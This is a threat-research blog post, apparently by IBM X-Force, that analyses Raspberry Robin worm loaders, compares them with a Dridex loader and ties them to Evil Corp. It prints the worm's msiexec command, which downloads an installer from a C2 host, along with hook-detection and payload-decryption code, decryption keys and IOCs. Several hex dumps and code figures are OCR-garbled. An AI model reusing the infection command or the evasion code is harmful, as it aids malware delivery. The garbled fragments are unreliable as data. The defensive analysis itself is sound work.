Raspberry Robin and Dridex: Two Birds of a Feather



Intelligence & Analytics September 1, 2022

By Kevin Henson co-authored by Emmy Ebanks 8 min read

IBM Security Managed Detection and Response (MDR) observations coupled with IBM Security X-Force malware research sheds additional light on the mysterious objectives of the operators behind the Raspberry Robin worm. Based on a comparative analysis between a downloaded Raspberry Robin DLL and a Dridex malware loader, the results show that they are similar in structure and functionality. Thus, IBM Security research draws another link between the Raspberry Robin infections and the Russia-based cybercriminal group 'Evil Corp,' which is the same group behind the Dridex Malware, suggesting that Evil Corp is likely using Raspberry Robin infrastructure to carry out its attacks.

When Raspberry Robin infection attempts were first observed impacting a few IBM Security MDR customers in mid-May 2022, the enigmatic worm activity began to quickly spread within a client's network from users sharing USB devices. The infections spiked in early June and by early August spikes of Raspberry Robin infection attempts were observed in 17% of worldwide MDR clients in the oil and gas, manufacturing, and transportation industries. This number is significant as historically less than 1% of MDR clients have seen the same strain of malware.

Raspberry Robin and Evil Corp Connection

The ultimate objective of Raspberry Robin had been unknown. Microsoft researchers observed millions of Raspberry Robin infections, but no evidence of post-infection exploits had been seen in the wild until July

26, 2022, when Microsoftdisclosed that they had uncovered existing Raspberry Robin infections delivering FAKEUPDATES malware (aka SocGholish).

The disclosure by the Microsoft threat researchers revealed that the "... DEV-0206-associated FAKEUPDATES activity on affected systems has since led to follow-on actions resembling DEV-0243 pre-ransomware behavior." This statement indicates a possible relationship between Raspberry Robin and DEV-0243, which the cyber intelligence community tracks as "Evil Corp".

The relationship between the threat actor behind FAKEUPDATES and Evil Corp is not new. Evil Corp had been leveraging FAKEUPDATES since at least April 2018 as the initial infection vector for the infostealing Dridex malware that later resulted in deployment of DOPPLEPAYMER ransomware.

The US Treasury sanctioned Evil Corp in 2019 but the group had already begun deploying custom ransomware-as-a-service (RaaS) payloads, rebranding them as WastedLocker, before shifting to the well-known RaaS LockBit ransomware. Using RaaS allows Evil Corp to blend in with other affiliates that would hinder attribution and ultimately skirt around sanctions.

Raspberry Robin Infection Chain

Raspberry Robin, also known as the QNAP worm, is typically delivered by a USB device, which contains a malicious Microsoft shortcut (.LNK) file. Once the user clicks on the .LNK file, it spawns a malicious command referencing msiexec.exe, a legitimate Windows system utility, to download and execute an MSI installer from a command and control (C2) domain. The C2 domain is usually recently registered, comprised of a few characters, and hosts a compromised QNAP NAS device that serves up a login page.

The msiexec commands observed by the IBM Security MDR team uses mixed-case syntax to evade detection, contain the victim's hostname and username, and connect over a non-standard HTTP port 8080:

```
Command Line: msieXeC /q /I "S8 [.]Cx:8080/random
```

string/coMpUTErname=USER"

During the infection, msiexec.exe also utilizes other legitimate Windows system utilities and tools, known as living-off-the-land binaries (LOLBin) such as rundll32.exe, fodhelper.exe, regsvr32.exe, dllhost.exe, and odbcconf.exe to load and execute the downloaded Raspberry Robin loader dynamic link libraries (DLL). Representative samples of such DLLs were analyzed in-depth by IBM X-Force reverse engineers.

X-Force Malware Research

X-Force analyzed two components that have been attributed to a Raspberry Robin infection. The components are two dynamic link libraries (DLLs) hereafter referred to as Raspberry Robin loaders that were previously analyzed by Red Canary. As mentioned above, the loaders were downloaded as a result of a victim clicking a malicious .LNK file which launched msiexec to download and execute an MSI installer. The MSI Installer then drops a Raspberry Robin loader to the system. X-Force reverse engineers performed analysis to provide additional details about the operation and structure of Raspberry Robin loader variants and compared one variant to a 64-bit Dridex loader.

This comparative analysis provided information that helps draw a link between Raspberry Robin infections and Dridex malware loaders. The comparative analysis revealed that the two are very similar in functionality and structure. The intermediate loaders, decoded by each, were also found to be similar, containing code to perform hook detections and using similar algorithms to decode the payload.

Analysis Details (Raspberry Robin Loaders)

The Raspberry Robin loaders are DLLs that decode and execute an intermediate loader. The intermediate loader performs hook detection as an anti-analysis technique, decodes its strings at runtime and then decodes a highly obfuscated DLL whose purpose has not been determined.

Raspberry Robin Loader Variant 1 (SHA256: c0a13af59e578b77e82fe0bc87301f93fc2ccf0adce450087121cb32f218092c)

Upon execution, Raspberry Robin Loader variant 1 enters a loop where it calculates the CRC32 hash of an encrypted block of data for 0x13h (29) iterations. One theory is this calculation loop is possibly a delayed attempt as the loader does not appear to use the hash in any additional operations. During stage 1 of the payload decryption process, the DLL utilizes an array of indexes and sizes. Each index points to a block of the encrypted payload. The block is then shifted, and the result is later XOR decrypted with a 64-byte key.

0006F570	6C	00	5F	04	6D	00	A5	04	- 74	00	CB	03	87	00	18	04	
0006F580	42	00	66	03	7D	00	0E	04	90	00	5E	03	5F	00	29	03	index and
0006F590	31	00	72	03	62	00	49	04	69	00	9E	04	4B	00	74	03	
0006F5A0	4E	00	Α2	03	ЗB	00	EB	03	56	00	1D	04	64	00	1E	04	size table
0006F5B0	6A	00	DE	03	63	00	DB	03	54	00	D1	03	3B	00	2F	04	SILC CODIC
0006F5C0	81	00	69	03	76	00	E 8	03	-54	00	A4	03	64	00	73	03	i.v.è.T.¤.d.s.
0006F5D0	34	00	48	03	8D	00	5B	03	35	00	74	03	82	00	6B	03	4.H[.5.t.,.k.
0006F5E0	6A	00	7E	04	4B	00	C2	03	71	00	1F	04	6E	00	Β4	03	j.~.K.Å.qn.´.
0006F5F0	47	00	88	03	56	00	3E	03	43	00	9D	03	5E	00	EΕ	03	G.^.V.>.C^.1.
0006F600	7C	00	4D	04	6B	00	22	04	-58	00	C3	03	42	00	ЗD	03	.M.k.".X.Å.B
0006F610	51	00	5F	04	6D	00	AD	03	-52	00	20	04	5E	00	B9	03	QmR^.*.
0006F620	8B	00	83	04	6D	00	80	04	89	00	9E	03	89	00	80	02	<.f.m.€.%.Ž.%.€.
0006F630	5D	00	00	00	00	00	44	33	44	8E	41	40	A6	6E	73	EO	nsà.
0006F640	C9	16	B 3	14	6C	5E	94	9A	CC	AB	FA	E3	DO	CD	CD	FF	xor key stig
0006F650	CD	1A	35	2E	43	56	2F	3C	8E	28	B7	EF	FB	B8	14	1A	·····
0006F660	C8	EF	2D	D6	A5	05	29	A2	98	CA	27	DF	82	D8	3E	41	Èī−C¥.)¢Ê('B,Ø>A
0006F670	1E	05	13	38	ЗE	65	00	00	00	00	BC	B 8	7A	EO	ЗE	D5	8>e4,zà>Õ
0006F680	49	8B	D4	C1	45	19	1E	7A	3A	65	ЗE	D 4	AF	4A	54	76	I<ÔÁEz:e>Ć JTv
0006F690	30	87	40	AD	91	Α9	Α2	$4\mathbb{A}$	09	61	37	B0	CF	F2	A 5	92	0‡@-`©¢J.a7°Ï∂¥′
0006F6A0	Ε7	9C	B4	AB	B5	4D	47	78	A2	2D	AA	25	Α3	11	BA	A1	C
0006F6B0	DD	16	16	4E	6E	73	$\mathbf{E0}$	C9	4D	30	FF	67	B 6	32	99	CC	Contains
0006F6C0	AB	77	58	20	CE	CD	FF	9A	F2	6A	2E	43	56	AA	FC	FB	
0006F6D0	6A	48	9A	F3	EF	FC	AA	C8	EF	2D	53	65	71	1C	35	C8	encrypted
0006F6E0	9D	CF	D9	83	D8	ЗE	16	F6	38	12	38	3E	32	AC	F8	45	
0006F6F0	8E	41	17	4E	4E	73	E0	C9	93	73	60	7B	D7	4E	C4	93	pavload
0006F700	FO	33	8B	DO	4D	CD	\mathbf{FF}	Α7	1A	B 8	24	12	06	DO	9E	2E	1)
0006F710	2A	B 7	EF	A5	E7	48	D3	0B	BA	A4	33	2E	48	21	29	D9	* ·1¥ç0Ó.°×3.H!)Ù
0006F720	76	26	17	09	98	16	40	D6	CC	D1	3C	3E	30	CD	D6	CF	ŏ&:00ÖİÑ<>0İÖÏ
0006F730	СВ	49	26	27	56	ЗE	BA	BC	37	в0	54	50	DF	AC	CA	89	ËI&'V>°47°TPB⊣ʉ
0006F740	AB	FA	96	C6	AB	4C	87	C9	56	34	5B	4D	30	AE	44	96	«ú-ā«L‡ÉV4[MOSD-
0006F750	23	B 6	9A	FD	33	54	22	4B	OF	2C	1F	67	01	29	F7	11	#¶šý3T"K.,.g.)÷.
0006F760	2F	47	54	CF	D0	B 5	14	12	61	98	0D	0E	65	44	33	CF	/GTĨеa"eD3Ĩ
0006F770	F 8	4D	CB	DO	62	FA	17	42	20	8A	EA	18	56	AF	D4	D4	øMËÐbú.B Šê.V ÔÔ
0006F780	DE	0F	6A	86	D1	AC	36	0F	12	35	7B	CA	B3	78	6A	05	D.j†Ñ⊣65(ʰxj.
0006F790	5D	BF	EC	8D	84	25	DA	AE	64	6B	CO	CS	20	2B	82	1C]¿ì."%Ú©dkÀÄ +,.
00065730	28	5.9	CE	0.9	25	32	CA	4.9	20	12	C2	60	32	20	9F	BB	ef works_ \$10_9.

Figure 1 — Structure of the decryption components and encrypted payload embedded in a Raspberry Robin Loader

Additionally, the loader decodes the first 0x117 (279) bytes of its .text PE section starting at raw offset 0x400. The decoding algorithm is represented by the python code below:

```
key = 0xC2D16F15
dec = bytearray()
for b in data:
key_byte = (key & 0xFF)
dec.append(b ^ key_byte)
key = rotate right(key, 8)
```

The decoded code finds the loaded **kernel32.dll** by enumerating through loaded modules looking for names that have a "." as the 16th character and "32" starting at position 12 in the wide-formatted name. The loader continues execution passing the hash value **0xFC910371** and kernel32.dll's base address to

a function that enumerates the library's export table. This function calculates a hash of each exported function name to resolve the *VirtualAlloc()* API function.

The function *VirtualAlloc()* is used to allocate a buffer to which the first decrypted payload is copied. The payload is then XOR decrypted with a 64-byte key.

Raspberry Robin Loader Variant 2 (SHA256: 1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1)

Upon execution, Raspberry Robin Loader variant 2 attempts to detect hooks in the function *wglGetProcAddress()*. This variant attempts to detect hooks in the *LdrLoadDll()* function. This is performed as an anti-analysis technique that helps the malware determine if the process is being monitored by security software. Specifically, the intermediate loader checks for the jump instructions 0xFF25 and 0xB8.

```
int __cdecl recursive_hook_detection_sub_401450(unsigned __int8 *op_code) {
    bool flag; // [esp+Fh] [ebp-Dh]
    // recursive hook detection
    if ( *op_code == 0xFF && op_code[1] == 0x25 )
        return recursive_hook_detection_sub_401450(**(op_code + 2));
    flag = 0;
    if ( *op_code == 0xB8 )
    {
        flag = 0;
        if ( op_code[3] == 0x50 )
            return op_code[4] == 0xCD;
    }
    return flag;
}
```

Figure 2 — Intermediate Loader's hook detection function

Then it proceeds to create an 88-byte structure used to store data used during execution. This loader also contains obfuscated notable API function and library names which are decoded by subtracting each byte in the 16-byte key, 0xB6B6AF8660D4760385C431119F7DE2B6, from the encoded string byte.

Next, the loader RC4 decrypts an intermediate loader using the 32-byte key: 0x300EAEBAAF2512BFA8B473A085005D629CA9D2A79A8BD924687C04D7605E3015.

Once decrypted, the intermediate loader contains a malformed PE header. The malformed PE header is later patched with the appropriate values to allow execution of the module. Notably, the intermediate loader, discussed in the next section also patches the header of its payload during execution.

ΕO	80	E0	FF	E0	80	80	80	EO	CC	80	E0	FF	00	00	00	à€àÿà€€€àÌ€àÿ
EE	80	FF	80	CC	cc	80	00	80	00	E0	ΕÔ	CC	FF	AD	Fl	ÿ€ÿ€İİ€.€.ààİÿ-ñ
Ε4	ΞB	CA	95	. 00	00	04	00	00	00	22	ΣF	00	00	B 8	00	ăĕÊŸŷŷ,.
00	00	00	00	Ny.	00	70	bfu	scate	ed I	MZ	hea	ade	. 0	00	00	
00	00	00	00	00	00	0							0	00	00	
00	00	00	00	00	00	00	00	00	00	3C	6B	7E	E0	0E	1F	<k~à< td=""></k~à<>
BA	0E	00	B4	09	CD	21	B8	01	4C	CD	21	54	68	69	73	°′.İ!,.Lİ!This
20	70	72	6F	67	72	61	6D	20	63	61	6E	6E	6F	74	20	program cannot
62	65	20	72	75	6E	20	69	6E	20	44	47	53	20	6D	6F	be run in DOS mo
64	65	2E	0D	0D	A0	24	00	00	00	00	00	00	00	3F	85	de\$?

Figure 3 — Decrypted intermediate Loader's malformed PE header

Intermediate Loader

The intermediate loader is responsible for decrypting and executing the final payload. Ultimately, the intermediate loader copies the final payload to the process space of the original loader, Raspberry Robin Loader variant 2 and then executes it.

During execution, the intermediate loader decodes library and API function names using inline decoding algorithms and then resolves the function addresses via a call to *LdrGetProcedureAddress()*. The function *LdrGetProcedureAddress()* is obtained by enumerating **ntdll.dll's** export table.

```
handle_relocations(a1->current_loader, a1->field_38);
for ( i = 0; i != 20; i += 4 ) // decode LoadLibraryA
{
    v1 = i[0x403113] - i[0x403070];
    v2 = i[0x403114] - i[0x403071];
    v3 = i[0x403115] - i[0x403072];
    func_name[i + 3] = i[0x403116] - i[0x403073];
    func_name[i + 2] = v3;
    func_name[i + 1] = v2;
    func_name[i] = v1;
}
kernel32_base = get_module_base(0x403020, 0); // kernel32.dll
```

Figure 4 — Inline decoding algorithm used to decode library and API function names.

The decoded library and function names from the intermediate loader are shown below:

LdrGetProcedureAddress

kernel32.dll

LoadLibraryA

GetPrcAddress

VirtualAlloc

VirtualProtect

Comparative Analysis (Raspberry Robin Loader vs. Dridex Loader)

X-Force performed a comparative analysis of a 32-bit Raspberry Robin downloaded loader and a 64-bit Dridex loader. This comparative analysis provided information that draws a link between Raspberry Robin loaders and Dridex malware loaders. The comparative analysis revealed that the two are very similar in functionality and structure. The intermediate loaders decoded the final payload in a similar manner and contained anti-analysis code that performed hook detection in the *LdrLoadDll()* function.

Comparative analysis of the two samples reveals the following:

File Hashes

Raspberry Robin	1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1

Loader variant 1	
Dridex Loader	b30b76585ea225bdf8b4c6eedf4e6e99aff0cf8aac7cdf6fb1fa58b8bde68ab3

The string decoding algorithms are similar, subtracting the key byte from the encoded byte.

<pre>decode_sub_4013F0(a1, encoded, i, key[i</pre>	& 15], i);
<pre>int decode_sub_4013F0(int a1, int encoded, int intx, char key_{ int result; // eax LOBYTE(result) = *(encoded + indx) - key_Byte; *(a1 + indx) = result; return result; }</pre>	Byte,) Raspberry Robin Loader
<pre>int64fastcall decode_sub_1400132F0(int64 buffer,int64 enroded, int size) { int64 result; // rax int64 indx; // [rsp+0h] [rbp-48h] int6 v5; // [rsp+36h] [rbp-12h] if (size) { ind x = 0i64; do { v5 ^= 0x72E1u; *(buffer + indx) = *(encoded + indx) - key[indx & 15]; result = indx + 1; indx = result; } while (result != size); return result; }</pre>	Dridex Loader

Figure 5 — String decoding algorithm found in Raspberry Robin Loader and Dridex Loader

Both contain seemingly random strings in the PE's data section.

havedryplace abundantly7Zwaters.J0veryE hislandi goodgodbeginning yfor.isn.tsaidWingedseedRbehold thembearingtogethermfrom beholdMale1R Subdue.rcreatureabundantlythey.rewatersandreplenish wflyFrom sV3beholdkcreated z80JSecondunder.M hathlFowlmidst.uYdominionwatersandS JlifedFS difeoverW0were. dsaidbringg9Lplacetogether.a themvkind fishnformaMovingmadewereisn.t	ZoJGThesecurityfprivacy vhomesameD pprinceobetterChromiumfSbeen process roughly4.10RLZinstall2009,ZbecauseaS Omnibox,browsers,HRAccountq12009, upaddedWebKit, YSinceaPoint2Mweb-based RincreasedcontainD KInBouOmnibox,b languageiv NRThexonaelection. ktwiceinitial1Xmanagementraiders dCdownloadb this,5v been4OnK proughlypaul8existingUWGoogleGoogleT Vwithtuntilusersptucker1mS are0forchannelzThist	
Raspberry Robin Loader	Dridex Loader	

Figure 6 — Seemingly random strings found in Raspberry Robin Loader and Dridex Loader

The samples contain similar inline loops that decode notable strings.



Figure 7 — Inline string decoding algorithms found in Raspberry Robin Loader and Dridex Loader

Notably, an RC4 decryption function is called at the end of the function containing the above loops. Subsequently, values such as the encrypted payload offset and size are assigned to a structure as shown below.

Raspberry Robin Loader					
<pre>Kaspberry Kobin Loader leads_to_rc4_sub_40C450(base_encoded, base_encoded, size); result = 0; v9->encrypted_payload_offset = base_encoded + 0x3CB7; v9->encrypted_payload_size = 0x84000; v9->payload_offset = base_encoded + 0x3CE; v9->dwordC = 0x2290; return result;</pre>					
Dridex Loader	(/ c.)) pc				
<pre>rc4_start_sub_14001120(v23, v23, v17); result = 0i64; v5 = v30 ^ 0x5ADF78B7; *a1 = v23 + 0x3639; v28 = 0xD84B889C; a1[1] = v5; v29 ^= 0x4EEA02D6ui64; a1[2] = v23 + 0x24; a1[3] = v12; return result;</pre>	// Call RC4				
reconnecture,					

Figure 8 — Values assigned to a structure. The values represent the size and offset of the payload

The PE header of the decrypted components is malformed in memory. As a result, the malware "fixes" the component to have the proper header by adding the "MZ (0x4D5A)" magic bytes to the header.



Figure 9 — Malformed header is patched with the appropriate values

Intermediate Loader Comparisons

The intermediate loaders between the two are similar containing code to perform hook detection in the *LdrLoadDll()* function. Detecting hooks in the function allows the malware to determine if the process is being monitored by antivirus software.

The final payload is also decoded using the algorithm represented by the following Python code:

```
decrypted_payload = bytearray(payload)
index = 0
size = len(payload)
while index != 254:
payload_idx = lookup_table[index*4]
while True:
if payload_idx >= size:
break
key_idx = payload_idx & 0x1F
key_byte = key[key_idx]
decrypted_byte = (payload[payload_idx] - key_byte) & 0xFF
decrypted_payload[payload_idx] = decrypted_byte
```

```
payload_idx += 0xFF
```

index += 1

Recommendations

It is important to note that Raspberry Robin's initial access is by the user plugging in an infected USB drive to a computer, which is a social engineering technique. The IBM Security MDR team tools effectively block Raspberry Robin. Further, there are multiple detection opportunities for Security professionals to help organizations to detect and prevent Raspberry Robin:

- Implement security awareness training.
- Search for the IOCs in your environment.
- Install/Deploy EDR monitoring solutions.
- Leverage your EDR solution to disable or track USB devices connections.
- Disable the AutoRun feature in the Windows operating system settings.

IOCs

File Hashes

Raspberry Robin	c0a13af59e578b77e82fe0bc87301f93fc2ccf0adce450087121cb32f218092c
Loader Variant 1	
Raspberry Robin Loader Variant 2	1a5fcb209b5af4c620453a70653263109716f277150f0d389810df85ec0beac1
Dridex Loader	b30b76585ea225bdf8b4c6eedf4e6e99aff0cf8aac7cdf6fb1fa58b8bde68ab3

Command Line

msieXeC /q /I "S8 [.]Cx:8080/random string/coMpUTErname=USER"